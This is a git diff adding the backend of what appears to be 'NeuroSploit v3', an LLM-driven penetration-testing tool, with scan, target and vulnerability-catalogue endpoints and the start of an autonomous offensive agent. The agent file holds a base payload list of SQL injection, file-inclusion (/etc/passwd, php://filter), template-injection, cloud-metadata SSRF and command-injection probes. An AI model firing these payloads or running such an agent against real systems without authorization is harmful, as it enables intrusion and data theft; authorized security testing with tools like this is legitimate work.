select(Endpoint).where(Endpoint.scan_id == scan_id).order_by(Endpoint.discovered_at.desc()) + + # Count + count_result = await db.execute(select(func.count()).select_from(Endpoint).where(Endpoint.scan_id == scan_id)) + total = count_result.scalar() + + # Paginate + query = query.offset((page - 1) * per_page).limit(per_page) + result = await db.execute(query) + endpoints = result.scalars().all() + + return { + "endpoints": [e.to_dict() for e in endpoints], + "total": total, + "page": page, + "per_page": per_page + } + + +@router.get("/{scan_id}/vulnerabilities") +async def get_scan_vulnerabilities( + scan_id: str, + severity: Optional[str] = None, + page: int = 1, + per_page: int = 50, + db: AsyncSession = Depends(get_db) +): + """Get vulnerabilities found in a scan""" + result = await db.execute(select(Scan).where(Scan.id == scan_id)) + scan = result.scalar_one_or_none() + + if not scan: + raise HTTPException(status_code=404, detail="Scan not found") + + query = select(Vulnerability).where(Vulnerability.scan_id == scan_id) + + if severity: + query = query.where(Vulnerability.severity == severity) + + query = query.order_by(Vulnerability.created_at.desc()) + + # Count + count_query = select(func.count()).select_from(Vulnerability).where(Vulnerability.scan_id == scan_id) + if severity: + count_query = count_query.where(Vulnerability.severity == severity) + count_result = await db.execute(count_query) + total = count_result.scalar() + + # Paginate + query = query.offset((page - 1) * per_page).limit(per_page) + result = await db.execute(query) + vulnerabilities = result.scalars().all() + + return { + "vulnerabilities": [v.to_dict() for v in vulnerabilities], + "total": total, + "page": page, + "per_page": per_page + } diff --git a/backend/api/v1/settings.py b/backend/api/v1/settings.py new file mode 100644 index 0000000..eecec85 --- /dev/null +++ b/backend/api/v1/settings.py @@ -0,0 +1,199 @@ +""" +NeuroSploit v3 - Settings API Endpoints +""" +from typing import Optional +from fastapi import APIRouter, Depends, HTTPException +from sqlalchemy.ext.asyncio import AsyncSession +from sqlalchemy import select, delete, text +from pydantic import BaseModel + +from backend.db.database import get_db, engine +from backend.models import Scan, Target, Endpoint, Vulnerability, VulnerabilityTest, Report + +router = APIRouter() + + +class SettingsUpdate(BaseModel): + """Settings update schema""" + llm_provider: Optional[str] = None + anthropic_api_key: Optional[str] = None + openai_api_key: Optional[str] = None + max_concurrent_scans: Optional[int] = None + aggressive_mode: Optional[bool] = None + default_scan_type: Optional[str] = None + recon_enabled_by_default: Optional[bool] = None + + +class SettingsResponse(BaseModel): + """Settings response schema""" + llm_provider: str = "claude" + has_anthropic_key: bool = False + has_openai_key: bool = False + max_concurrent_scans: int = 3 + aggressive_mode: bool = False + default_scan_type: str = "full" + recon_enabled_by_default: bool = True + + +# In-memory settings storage (in production, use database or config file) +_settings = { + "llm_provider": "claude", + "anthropic_api_key": "", + "openai_api_key": "", + "max_concurrent_scans": 3, + "aggressive_mode": False, + "default_scan_type": "full", + "recon_enabled_by_default": True +} + + +@router.get("", response_model=SettingsResponse) +async def get_settings(): + """Get current settings""" + return SettingsResponse( + llm_provider=_settings["llm_provider"], + has_anthropic_key=bool(_settings["anthropic_api_key"]), + has_openai_key=bool(_settings["openai_api_key"]), + max_concurrent_scans=_settings["max_concurrent_scans"], + aggressive_mode=_settings["aggressive_mode"], + default_scan_type=_settings["default_scan_type"], + recon_enabled_by_default=_settings["recon_enabled_by_default"] + ) + + +@router.put("", response_model=SettingsResponse) +async def update_settings(settings_data: SettingsUpdate): + """Update settings""" + if settings_data.llm_provider is not None: + _settings["llm_provider"] = settings_data.llm_provider + + if settings_data.anthropic_api_key is not None: + _settings["anthropic_api_key"] = settings_data.anthropic_api_key + # Also update environment variable for LLM calls + import os + if settings_data.anthropic_api_key: + os.environ["ANTHROPIC_API_KEY"] = settings_data.anthropic_api_key + + if settings_data.openai_api_key is not None: + _settings["openai_api_key"] = settings_data.openai_api_key + import os + if settings_data.openai_api_key: + os.environ["OPENAI_API_KEY"] = settings_data.openai_api_key + + if settings_data.max_concurrent_scans is not None: + _settings["max_concurrent_scans"] = settings_data.max_concurrent_scans + + if settings_data.aggressive_mode is not None: + _settings["aggressive_mode"] = settings_data.aggressive_mode + + if settings_data.default_scan_type is not None: + _settings["default_scan_type"] = settings_data.default_scan_type + + if settings_data.recon_enabled_by_default is not None: + _settings["recon_enabled_by_default"] = settings_data.recon_enabled_by_default + + return await get_settings() + + +@router.post("/clear-database") +async def clear_database(db: AsyncSession = Depends(get_db)): + """Clear all data from the database (reset to fresh state)""" + try: + # Delete in correct order to respect foreign key constraints + await db.execute(delete(VulnerabilityTest)) + await db.execute(delete(Vulnerability)) + await db.execute(delete(Endpoint)) + await db.execute(delete(Report)) + await db.execute(delete(Target)) + await db.execute(delete(Scan)) + await db.commit() + + return { + "message": "Database cleared successfully", + "status": "success" + } + except Exception as e: + await db.rollback() + raise HTTPException(status_code=500, detail=f"Failed to clear database: {str(e)}") + + +@router.get("/stats") +async def get_database_stats(db: AsyncSession = Depends(get_db)): + """Get database statistics""" + from sqlalchemy import func + + scans_count = (await db.execute(select(func.count()).select_from(Scan))).scalar() or 0 + vulns_count = (await db.execute(select(func.count()).select_from(Vulnerability))).scalar() or 0 + endpoints_count = (await db.execute(select(func.count()).select_from(Endpoint))).scalar() or 0 + reports_count = (await db.execute(select(func.count()).select_from(Report))).scalar() or 0 + + return { + "scans": scans_count, + "vulnerabilities": vulns_count, + "endpoints": endpoints_count, + "reports": reports_count + } + + +@router.get("/tools") +async def get_installed_tools(): + """Check which security tools are installed""" + import asyncio + import shutil + + # Complete list of 40+ tools + tools = { + "recon": [ + "subfinder", "amass", "assetfinder", "chaos", "uncover", + "dnsx", "massdns", "puredns", "cero", "tlsx", "cdncheck" + ], + "web_discovery": [ + "httpx", "httprobe", "katana", "gospider", "hakrawler", + "gau", "waybackurls", "cariddi", "getJS", "gowitness" + ], + "fuzzing": [ + "ffuf", "gobuster", "dirb", "dirsearch", "wfuzz", "arjun", "paramspider" + ], + "vulnerability_scanning": [ + "nuclei", "nikto", "sqlmap", "xsstrike", "dalfox", "crlfuzz" + ], + "port_scanning": [ + "nmap", "naabu", "rustscan" + ], + "utilities": [ + "gf", "qsreplace", "unfurl", "anew", "uro", "jq" + ], + "tech_detection": [ + "whatweb", "wafw00f" + ], + "exploitation": [ + "hydra", "medusa", "john", "hashcat" + ], + "network": [ + "curl", "wget", "dig", "whois" + ] + } + + results = {} + total_installed = 0 + total_tools = 0 + + for category, tool_list in tools.items(): + results[category] = {} + for tool in tool_list: + total_tools += 1 + # Check if tool exists in PATH + is_installed = shutil.which(tool) is not None + results[category][tool] = is_installed + if is_installed: + total_installed += 1 + + return { + "tools": results, + "summary": { + "total": total_tools, + "installed": total_installed, + "missing": total_tools - total_installed, + "percentage": round((total_installed / total_tools) * 100, 1) + } + } diff --git a/backend/api/v1/targets.py b/backend/api/v1/targets.py new file mode 100644 index 0000000..d1258bf --- /dev/null +++ b/backend/api/v1/targets.py @@ -0,0 +1,142 @@ +""" +NeuroSploit v3 - Targets API Endpoints +""" +from typing import List +from fastapi import APIRouter, Depends, HTTPException, UploadFile, File +from sqlalchemy.ext.asyncio import AsyncSession +from urllib.parse import urlparse +import re + +from backend.db.database import get_db +from backend.schemas.target import TargetCreate, TargetBulkCreate, TargetValidation, TargetResponse + +router = APIRouter() + + +def validate_url(url: str) -> TargetValidation: + """Validate and parse a URL""" + url = url.strip() + + if not url: + return TargetValidation(url=url, valid=False, error="URL is empty") + + # URL pattern + url_pattern = re.compile( + r'^https?://' + r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?|' + r'localhost|' + r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' + r'(?::\d+)?' + r'(?:/?|[/?]\S+)$', re.IGNORECASE) + + # Try with the URL as-is + if url_pattern.match(url): + normalized = url + elif url_pattern.match(f"https://{url}"): + normalized = f"https://{url}" + else: + return TargetValidation(url=url, valid=False, error="Invalid URL format") + + # Parse URL + parsed = urlparse(normalized) + + return TargetValidation( + url=url, + valid=True, + normalized_url=normalized, + hostname=parsed.hostname, + port=parsed.port or (443 if parsed.scheme == "https" else 80), + protocol=parsed.scheme + ) + + +@router.post("/validate", response_model=TargetValidation) +async def validate_target(target: TargetCreate): + """Validate a single target URL""" + return validate_url(target.url) + + +@router.post("/validate/bulk", response_model=List[TargetValidation]) +async def validate_targets_bulk(targets: TargetBulkCreate): + """Validate multiple target URLs""" + results = [] + for url in targets.urls: + results.append(validate_url(url)) + return results + + +@router.post("/upload", response_model=List[TargetValidation]) +async def upload_targets(file: UploadFile = File(...)): + """Upload a file with URLs (one per line)""" + if not file.filename: + raise HTTPException(status_code=400, detail="No file provided") + + # Check file extension + allowed_extensions = {".txt", ".csv", ".lst"} + ext = "." + file.filename.split(".")[-1].lower() if "." in file.filename else "" + if ext not in allowed_extensions: + raise HTTPException( + status_code=400, + detail=f"Invalid file type. Allowed: {', '.join(allowed_extensions)}" + ) + + # Read file content + content = await file.read() + try: + text = content.decode("utf-8") + except UnicodeDecodeError: + try: + text = content.decode("latin-1") + except Exception: + raise HTTPException(status_code=400, detail="Unable to decode file") + + # Parse URLs (one per line, or comma-separated) + urls = [] + for line in text.split("\n"): + line = line.strip() + if not line or line.startswith("#"): + continue + # Handle comma-separated URLs + if "," in line and "://" in line: + for url in line.split(","): + url = url.strip() + if url: + urls.append(url) + else: + urls.append(line) + + if not urls: + raise HTTPException(status_code=400, detail="No URLs found in file") + + # Validate all URLs + results = [] + for url in urls: + results.append(validate_url(url)) + + return results + + +@router.post("/parse-input", response_model=List[TargetValidation]) +async def parse_target_input(input_text: str): + """Parse target input (comma-separated or newline-separated)""" + urls = [] + + # Split by newlines first + for line in input_text.split("\n"): + line = line.strip() + if not line: + continue + # Then split by commas + for url in line.split(","): + url = url.strip() + if url: + urls.append(url) + + if not urls: + raise HTTPException(status_code=400, detail="No URLs provided") + + results = [] + for url in urls: + results.append(validate_url(url)) + + return results diff --git a/backend/api/v1/vulnerabilities.py b/backend/api/v1/vulnerabilities.py new file mode 100644 index 0000000..dae44e8 --- /dev/null +++ b/backend/api/v1/vulnerabilities.py @@ -0,0 +1,389 @@ +""" +NeuroSploit v3 - Vulnerabilities API Endpoints +""" +from typing import List +from fastapi import APIRouter, Depends, HTTPException +from sqlalchemy.ext.asyncio import AsyncSession +from sqlalchemy import select + +from backend.db.database import get_db +from backend.models import Vulnerability +from backend.schemas.vulnerability import VulnerabilityResponse, VulnerabilityTypeInfo + +router = APIRouter() + +# Vulnerability type definitions +VULNERABILITY_TYPES = { + "injection": { + "xss_reflected": { + "name": "Reflected XSS", + "description": "Cross-site scripting via user input reflected in response", + "severity_range": "medium-high", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-79"] + }, + "xss_stored": { + "name": "Stored XSS", + "description": "Cross-site scripting stored in application database", + "severity_range": "high-critical", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-79"] + }, + "xss_dom": { + "name": "DOM-based XSS", + "description": "Cross-site scripting via DOM manipulation", + "severity_range": "medium-high", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-79"] + }, + "sqli_error": { + "name": "Error-based SQL Injection", + "description": "SQL injection detected via error messages", + "severity_range": "high-critical", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-89"] + }, + "sqli_union": { + "name": "Union-based SQL Injection", + "description": "SQL injection exploitable via UNION queries", + "severity_range": "critical", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-89"] + }, + "sqli_blind": { + "name": "Blind SQL Injection", + "description": "SQL injection without visible output", + "severity_range": "high-critical", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-89"] + }, + "sqli_time": { + "name": "Time-based SQL Injection", + "description": "SQL injection detected via response time", + "severity_range": "high-critical", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-89"] + }, + "command_injection": { + "name": "Command Injection", + "description": "OS command injection vulnerability", + "severity_range": "critical", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-78"] + }, + "ssti": { + "name": "Server-Side Template Injection", + "description": "Template injection allowing code execution", + "severity_range": "high-critical", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-94"] + }, + "ldap_injection": { + "name": "LDAP Injection", + "description": "LDAP query injection", + "severity_range": "high", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-90"] + }, + "xpath_injection": { + "name": "XPath Injection", + "description": "XPath query injection", + "severity_range": "medium-high", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-643"] + }, + "nosql_injection": { + "name": "NoSQL Injection", + "description": "NoSQL database injection", + "severity_range": "high-critical", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-943"] + }, + "header_injection": { + "name": "HTTP Header Injection", + "description": "Injection into HTTP headers", + "severity_range": "medium-high", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-113"] + }, + "crlf_injection": { + "name": "CRLF Injection", + "description": "Carriage return line feed injection", + "severity_range": "medium", + "owasp_category": "A03:2021", + "cwe_ids": ["CWE-93"] + } + }, + "file_access": { + "lfi": { + "name": "Local File Inclusion", + "description": "Include local files via path manipulation", + "severity_range": "high-critical", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-98"] + }, + "rfi": { + "name": "Remote File Inclusion", + "description": "Include remote files for code execution", + "severity_range": "critical", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-98"] + }, + "path_traversal": { + "name": "Path Traversal", + "description": "Access files outside web root", + "severity_range": "high", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-22"] + }, + "file_upload": { + "name": "Arbitrary File Upload", + "description": "Upload malicious files", + "severity_range": "high-critical", + "owasp_category": "A04:2021", + "cwe_ids": ["CWE-434"] + }, + "xxe": { + "name": "XML External Entity", + "description": "XXE injection vulnerability", + "severity_range": "high-critical", + "owasp_category": "A05:2021", + "cwe_ids": ["CWE-611"] + } + }, + "request_forgery": { + "ssrf": { + "name": "Server-Side Request Forgery", + "description": "Forge requests from the server", + "severity_range": "high-critical", + "owasp_category": "A10:2021", + "cwe_ids": ["CWE-918"] + }, + "ssrf_cloud": { + "name": "SSRF to Cloud Metadata", + "description": "SSRF accessing cloud provider metadata", + "severity_range": "critical", + "owasp_category": "A10:2021", + "cwe_ids": ["CWE-918"] + }, + "csrf": { + "name": "Cross-Site Request Forgery", + "description": "Forge requests as authenticated user", + "severity_range": "medium-high", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-352"] + } + }, + "authentication": { + "auth_bypass": { + "name": "Authentication Bypass", + "description": "Bypass authentication mechanisms", + "severity_range": "critical", + "owasp_category": "A07:2021", + "cwe_ids": ["CWE-287"] + }, + "session_fixation": { + "name": "Session Fixation", + "description": "Force known session ID on user", + "severity_range": "high", + "owasp_category": "A07:2021", + "cwe_ids": ["CWE-384"] + }, + "jwt_manipulation": { + "name": "JWT Token Manipulation", + "description": "Manipulate JWT tokens for auth bypass", + "severity_range": "high-critical", + "owasp_category": "A07:2021", + "cwe_ids": ["CWE-347"] + }, + "weak_password_policy": { + "name": "Weak Password Policy", + "description": "Application accepts weak passwords", + "severity_range": "medium", + "owasp_category": "A07:2021", + "cwe_ids": ["CWE-521"] + } + }, + "authorization": { + "idor": { + "name": "Insecure Direct Object Reference", + "description": "Access objects without proper authorization", + "severity_range": "high", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-639"] + }, + "bola": { + "name": "Broken Object Level Authorization", + "description": "API-level object authorization bypass", + "severity_range": "high", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-639"] + }, + "privilege_escalation": { + "name": "Privilege Escalation", + "description": "Escalate to higher privilege level", + "severity_range": "critical", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-269"] + } + }, + "api_security": { + "rate_limiting": { + "name": "Missing Rate Limiting", + "description": "No rate limiting on sensitive endpoints", + "severity_range": "medium", + "owasp_category": "A04:2021", + "cwe_ids": ["CWE-770"] + }, + "mass_assignment": { + "name": "Mass Assignment", + "description": "Modify unintended object properties", + "severity_range": "high", + "owasp_category": "A04:2021", + "cwe_ids": ["CWE-915"] + }, + "excessive_data": { + "name": "Excessive Data Exposure", + "description": "API returns more data than needed", + "severity_range": "medium-high", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-200"] + }, + "graphql_introspection": { + "name": "GraphQL Introspection Enabled", + "description": "GraphQL schema exposed via introspection", + "severity_range": "low-medium", + "owasp_category": "A05:2021", + "cwe_ids": ["CWE-200"] + } + }, + "client_side": { + "cors_misconfig": { + "name": "CORS Misconfiguration", + "description": "Permissive CORS policy", + "severity_range": "medium-high", + "owasp_category": "A05:2021", + "cwe_ids": ["CWE-942"] + }, + "clickjacking": { + "name": "Clickjacking", + "description": "Page can be framed for clickjacking", + "severity_range": "medium", + "owasp_category": "A05:2021", + "cwe_ids": ["CWE-1021"] + }, + "open_redirect": { + "name": "Open Redirect", + "description": "Redirect to arbitrary URLs", + "severity_range": "low-medium", + "owasp_category": "A01:2021", + "cwe_ids": ["CWE-601"] + } + }, + "information_disclosure": { + "error_disclosure": { + "name": "Error Message Disclosure", + "description": "Detailed error messages exposed", + "severity_range": "low-medium", + "owasp_category": "A05:2021", + "cwe_ids": ["CWE-209"] + }, + "sensitive_data": { + "name": "Sensitive Data Exposure", + "description": "Sensitive information exposed", + "severity_range": "medium-high", + "owasp_category": "A02:2021", + "cwe_ids": ["CWE-200"] + }, + "debug_endpoints": { + "name": "Debug Endpoints Exposed", + "description": "Debug/admin endpoints accessible", + "severity_range": "high", + "owasp_category": "A05:2021", + "cwe_ids": ["CWE-489"] + } + }, + "infrastructure": { + "security_headers": { + "name": "Missing Security Headers", + "description": "Important security headers not set", + "severity_range": "low-medium", + "owasp_category": "A05:2021", + "cwe_ids": ["CWE-693"] + }, + "ssl_issues": { + "name": "SSL/TLS Issues", + "description": "Weak SSL/TLS configuration", + "severity_range": "medium", + "owasp_category": "A02:2021", + "cwe_ids": ["CWE-326"] + }, + "http_methods": { + "name": "Dangerous HTTP Methods", + "description": "Dangerous HTTP methods enabled", + "severity_range": "low-medium", + "owasp_category": "A05:2021", + "cwe_ids": ["CWE-749"] + } + }, + "logic_flaws": { + "race_condition": { + "name": "Race Condition", + "description": "Exploitable race condition", + "severity_range": "medium-high", + "owasp_category": "A04:2021", + "cwe_ids": ["CWE-362"] + }, + "business_logic": { + "name": "Business Logic Flaw", + "description": "Exploitable business logic error", + "severity_range": "varies", + "owasp_category": "A04:2021", + "cwe_ids": ["CWE-840"] + } + } +} + + +@router.get("/types") +async def get_vulnerability_types(): + """Get all vulnerability types organized by category""" + return VULNERABILITY_TYPES + + +@router.get("/types/{category}") +async def get_vulnerability_types_by_category(category: str): + """Get vulnerability types for a specific category""" + if category not in VULNERABILITY_TYPES: + raise HTTPException(status_code=404, detail=f"Category '{category}' not found") + + return VULNERABILITY_TYPES[category] + + +@router.get("/types/{category}/{vuln_type}", response_model=VulnerabilityTypeInfo) +async def get_vulnerability_type_info(category: str, vuln_type: str): + """Get detailed info for a specific vulnerability type""" + if category not in VULNERABILITY_TYPES: + raise HTTPException(status_code=404, detail=f"Category '{category}' not found") + + if vuln_type not in VULNERABILITY_TYPES[category]: + raise HTTPException(status_code=404, detail=f"Type '{vuln_type}' not found in category '{category}'") + + info = VULNERABILITY_TYPES[category][vuln_type] + return VulnerabilityTypeInfo( + type=vuln_type, + category=category, + **info + ) + + +@router.get("/{vuln_id}", response_model=VulnerabilityResponse) +async def get_vulnerability(vuln_id: str, db: AsyncSession = Depends(get_db)): + """Get a specific vulnerability by ID""" + result = await db.execute(select(Vulnerability).where(Vulnerability.id == vuln_id)) + vuln = result.scalar_one_or_none() + + if not vuln: + raise HTTPException(status_code=404, detail="Vulnerability not found") + + return VulnerabilityResponse(**vuln.to_dict()) diff --git a/backend/api/websocket.py b/backend/api/websocket.py new file mode 100644 index 0000000..ed9059e --- /dev/null +++ b/backend/api/websocket.py @@ -0,0 +1,155 @@ +""" +NeuroSploit v3 - WebSocket Manager +""" +from typing import Dict, List, Optional +from fastapi import WebSocket +import json +import asyncio + + +class ConnectionManager: + """Manages WebSocket connections for real-time updates""" + + def __init__(self): + # scan_id -> list of websocket connections + self.active_connections: Dict[str, List[WebSocket]] = {} + self._lock = asyncio.Lock() + + async def connect(self, websocket: WebSocket, scan_id: str): + """Accept a WebSocket connection and register it for a scan""" + await websocket.accept() + async with self._lock: + if scan_id not in self.active_connections: + self.active_connections[scan_id] = [] + self.active_connections[scan_id].append(websocket) + print(f"WebSocket connected for scan: {scan_id}") + + def disconnect(self, websocket: WebSocket, scan_id: str): + """Remove a WebSocket connection""" + if scan_id in self.active_connections: + if websocket in self.active_connections[scan_id]: + self.active_connections[scan_id].remove(websocket) + if not self.active_connections[scan_id]: + del self.active_connections[scan_id] + print(f"WebSocket disconnected for scan: {scan_id}") + + async def send_to_scan(self, scan_id: str, message: dict): + """Send a message to all connections watching a specific scan""" + if scan_id not in self.active_connections: + return + + dead_connections = [] + for connection in self.active_connections[scan_id]: + try: + await connection.send_text(json.dumps(message)) + except Exception: + dead_connections.append(connection) + + # Clean up dead connections + for conn in dead_connections: + self.disconnect(conn, scan_id) + + async def broadcast_scan_started(self, scan_id: str): + """Notify that a scan has started""" + await self.send_to_scan(scan_id, { + "type": "scan_started", + "scan_id": scan_id + }) + + async def broadcast_phase_change(self, scan_id: str, phase: str): + """Notify phase change (recon, testing, reporting)""" + await self.send_to_scan(scan_id, { + "type": "phase_change", + "scan_id": scan_id, + "phase": phase + }) + + async def broadcast_progress(self, scan_id: str, progress: int, message: Optional[str] = None): + """Send progress update""" + await self.send_to_scan(scan_id, { + "type": "progress_update", + "scan_id": scan_id, + "progress": progress, + "message": message + }) + + async def broadcast_endpoint_found(self, scan_id: str, endpoint: dict): + """Notify a new endpoint was discovered""" + await self.send_to_scan(scan_id, { + "type": "endpoint_found", + "scan_id": scan_id, + "endpoint": endpoint + }) + + async def broadcast_path_crawled(self, scan_id: str, path: str, status: int): + """Notify a path was crawled""" + await self.send_to_scan(scan_id, { + "type": "path_crawled", + "scan_id": scan_id, + "path": path, + "status": status + }) + + async def broadcast_url_discovered(self, scan_id: str, url: str): + """Notify a URL was discovered""" + await self.send_to_scan(scan_id, { + "type": "url_discovered", + "scan_id": scan_id, + "url": url + }) + + async def broadcast_test_started(self, scan_id: str, vuln_type: str, endpoint: str): + """Notify a vulnerability test has started""" + await self.send_to_scan(scan_id, { + "type": "test_started", + "scan_id": scan_id, + "vulnerability_type": vuln_type, + "endpoint": endpoint + }) + + async def broadcast_test_completed(self, scan_id: str, vuln_type: str, endpoint: str, is_vulnerable: bool): + """Notify a vulnerability test has completed""" + await self.send_to_scan(scan_id, { + "type": "test_completed", + "scan_id": scan_id, + "vulnerability_type": vuln_type, + "endpoint": endpoint, + "is_vulnerable": is_vulnerable + }) + + async def broadcast_vulnerability_found(self, scan_id: str, vulnerability: dict): + """Notify a vulnerability was found""" + await self.send_to_scan(scan_id, { + "type": "vuln_found", + "scan_id": scan_id, + "vulnerability": vulnerability + }) + + async def broadcast_log(self, scan_id: str, level: str, message: str): + """Send a log message""" + await self.send_to_scan(scan_id, { + "type": "log_message", + "scan_id": scan_id, + "level": level, + "message": message + }) + + async def broadcast_scan_completed(self, scan_id: str, summary: dict): + """Notify that a scan has completed""" + await self.send_to_scan(scan_id, { + "type": "scan_completed", + "scan_id": scan_id, + "summary": summary + }) + + async def broadcast_error(self, scan_id: str, error: str): + """Notify an error occurred""" + await self.send_to_scan(scan_id, { + "type": "error", + "scan_id": scan_id, + "error": error + }) + + +# Global instance +manager = ConnectionManager() diff --git a/backend/config.py b/backend/config.py new file mode 100644 index 0000000..f7685ca --- /dev/null +++ b/backend/config.py @@ -0,0 +1,56 @@ +""" +NeuroSploit v3 - Configuration +""" +import os +from pathlib import Path +from typing import Optional +from pydantic_settings import BaseSettings + + +class Settings(BaseSettings): + """Application settings""" + + # Application + APP_NAME: str = "NeuroSploit v3" + APP_VERSION: str = "3.0.0" + DEBUG: bool = True + + # Server + HOST: str = "0.0.0.0" + PORT: int = 8000 + + # Database + DATABASE_URL: str = "sqlite+aiosqlite:///./data/neurosploit.db" + + # Paths + BASE_DIR: Path = Path(__file__).parent.parent + DATA_DIR: Path = BASE_DIR / "data" + REPORTS_DIR: Path = DATA_DIR / "reports" + SCANS_DIR: Path = DATA_DIR / "scans" + PROMPTS_DIR: Path = BASE_DIR / "prompts" + + # LLM Settings + ANTHROPIC_API_KEY: Optional[str] = os.getenv("ANTHROPIC_API_KEY") + OPENAI_API_KEY: Optional[str] = os.getenv("OPENAI_API_KEY") + DEFAULT_LLM_PROVIDER: str = "claude" + DEFAULT_LLM_MODEL: str = "claude-sonnet-4-20250514" + + # Scan Settings + MAX_CONCURRENT_SCANS: int = 3 + DEFAULT_TIMEOUT: int = 30 + MAX_REQUESTS_PER_SECOND: int = 10 + + # CORS + CORS_ORIGINS: list = ["http://localhost:3000", "http://127.0.0.1:3000"] + + class Config: + env_file = ".env" + case_sensitive = True + + +settings = Settings() + +# Ensure directories exist +settings.DATA_DIR.mkdir(parents=True, exist_ok=True) +settings.REPORTS_DIR.mkdir(parents=True, exist_ok=True) +settings.SCANS_DIR.mkdir(parents=True, exist_ok=True) diff --git a/backend/core/__init__.py b/backend/core/__init__.py new file mode 100644 index 0000000..5a60488 --- /dev/null +++ b/backend/core/__init__.py @@ -0,0 +1 @@ +# Core modules diff --git a/backend/core/ai_pentest_agent.py b/backend/core/ai_pentest_agent.py new file mode 100644 index 0000000..ac7f172 --- /dev/null +++ b/backend/core/ai_pentest_agent.py @@ -0,0 +1,889 @@ +""" +NeuroSploit v3 - AI Offensive Security Agent + +This is a TRUE AI AGENT that: +1. Uses LLM for INTELLIGENT vulnerability testing (not blind payloads) +2. Analyzes responses with AI to confirm vulnerabilities (no false positives) +3. Uses recon data to inform testing strategy +4. Accepts custom .md prompt files +5. Generates real PoC code and exploitation steps + +AUTHORIZATION: This is an authorized penetration testing tool. +All actions are performed with explicit permission. +""" + +import asyncio +import aiohttp +import json +import re +import os +import sys +from typing import Dict, List, Any, Optional, Callable, Tuple +from dataclasses import dataclass, field +from datetime import datetime +from urllib.parse import urljoin, urlparse, parse_qs, urlencode, quote +from enum import Enum +from pathlib import Path + +# Add parent path for imports +sys.path.insert(0, str(Path(__file__).parent.parent.parent)) + +try: + from core.llm_manager import LLMManager +except ImportError: + LLMManager = None + + +class AgentAction(Enum): + """Actions the agent can take""" + DISCOVER = "discover" + TEST = "test" + EXPLOIT = "exploit" + CHAIN = "chain" + REPORT = "report" + PIVOT = "pivot" + + +@dataclass +class Finding: + """A vulnerability finding with exploitation details""" + vuln_type: str + severity: str + endpoint: str + payload: str + evidence: str + exploitable: bool + confidence: str = "high" # high, medium, low + exploitation_steps: List[str] = field(default_factory=list) + poc_code: str = "" + impact: str = "" + chained_with: List[str] = field(default_factory=list) + raw_request: str = "" + raw_response: str = "" + llm_analysis: str = "" + + +@dataclass +class AgentState: + """Current state of the AI agent""" + target: str + discovered_endpoints: List[str] = field(default_factory=list) + discovered_params: Dict[str, List[str]] = field(default_factory=dict) + technologies: List[str] = field(default_factory=list) + findings: List[Finding] = field(default_factory=list) + tested_payloads: Dict[str, List[str]] = field(default_factory=dict) + session_cookies: Dict[str, str] = field(default_factory=dict) + auth_tokens: List[str] = field(default_factory=list) + waf_detected: bool = False + waf_type: str = "" + current_phase: str = "recon" + actions_taken: List[str] = field(default_factory=list) + recon_context: Optional[Dict] = None + + +class AIPentestAgent: + """ + Autonomous AI Agent for Offensive Security Testing + + This agent uses LLM to make INTELLIGENT decisions: + - What to test based on recon data + - How to craft context-aware payloads + - How to analyze responses to CONFIRM vulnerabilities + - How to chain attacks for maximum impact + + NO FALSE POSITIVES - Every finding is confirmed by AI analysis. + """ + + def __init__( + self, + target: str, + llm_manager: Optional[Any] = None, + log_callback: Optional[Callable] = None, + auth_headers: Optional[Dict] = None, + max_depth: int = 5, + prompt_file: Optional[str] = None, + recon_context: Optional[Dict] = None, + config: Optional[Dict] = None + ): + self.target = target + self.llm_manager = llm_manager + self.log = log_callback or self._default_log + self.auth_headers = auth_headers or {} + self.max_depth = max_depth + self.prompt_file = prompt_file + self.custom_prompt = None + self.config = config or {} + self.state = AgentState(target=target, recon_context=recon_context) + self.session: Optional[aiohttp.ClientSession] = None + + # Load custom prompt if provided + if prompt_file: + self._load_custom_prompt(prompt_file) + + # Initialize LLM manager if not provided + if not self.llm_manager and LLMManager and config: + try: + self.llm_manager = LLMManager(config) + except Exception as e: + print(f"Warning: Could not initialize LLM manager: {e}") + + # Base payloads - LLM will enhance these based on context + self.base_payloads = self._load_base_payloads() + + async def _default_log(self, level: str, message: str): + print(f"[{level.upper()}] {message}") + + def _load_custom_prompt(self, prompt_file: str): + """Load custom prompt from .md file""" + try: + path = Path(prompt_file) + if not path.exists(): + # Try in prompts directory + path = Path("prompts") / prompt_file + if not path.exists(): + path = Path("prompts/md_library") / prompt_file + + if path.exists(): + content = path.read_text() + self.custom_prompt = content + print(f"[+] Loaded custom prompt from: {path}") + else: + print(f"[!] Prompt file not found: {prompt_file}") + except Exception as e: + print(f"[!] Error loading prompt file: {e}") + + def _load_base_payloads(self) -> Dict[str, List[str]]: + """Load base attack payloads - LLM will enhance these""" + return { + "xss": [ + "", + "\">", + "'-alert(1)-'", + "", + ], + "sqli": [ + "'", "\"", "' OR '1'='1", "1' AND '1'='1", + "' UNION SELECT NULL--", "1' AND SLEEP(3)--", + ], + "lfi": [ + "../../../etc/passwd", + "....//....//etc/passwd", + "php://filter/convert.base64-encode/resource=index.php", + ], + "ssti": [ + "{{7*7}}", "${7*7}", "<%= 7*7 %>", + "{{config}}", "{{self.__class__}}", + ], + "ssrf": [ + "http://127.0.0.1", "http://localhost", + "http://169.254.169.254/latest/meta-data/", + ], + "rce": [ + "; id", "| id", "$(id)", "`id`", + ], + } + + async def 